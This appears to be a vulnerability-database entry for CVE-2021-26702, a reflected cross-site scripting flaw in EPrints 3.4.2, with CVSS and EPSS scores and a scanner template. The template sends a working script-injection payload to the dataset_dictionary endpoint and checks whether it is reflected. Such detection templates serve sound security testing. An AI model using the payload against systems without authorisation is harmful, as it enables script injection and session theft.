4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
56.1%
EPrints 3.4.2 contains a reflected cross-site scripting vulnerability in the dataset parameter to the cgi/dataset_ dictionary URI.
id: CVE-2021-26702
info:
name: EPrints 3.4.2 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability in the dataset parameter to the cgi/dataset_ dictionary URI.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
reference:
- https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
- https://files.eprints.org/2548/
- https://nvd.nist.gov/vuln/detail/CVE-2021-26702
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/grymer/CVE
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-26702
cwe-id: CWE-79
epss-score: 0.00187
epss-percentile: 0.55848
cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: eprints
product: eprints
tags: cve2021,cve,xss,eprints
http:
- method: GET
path:
- "{{BaseURL}}/cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a0048304602210098e7757e0209c423c0f1d06f2a709c9a2fbb69786899327e00431406bc1f66bf022100d79b72cb3177fc66ea667fdcef9bedab883b9acdac3ab0dcafadf79321973aa1:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
56.1%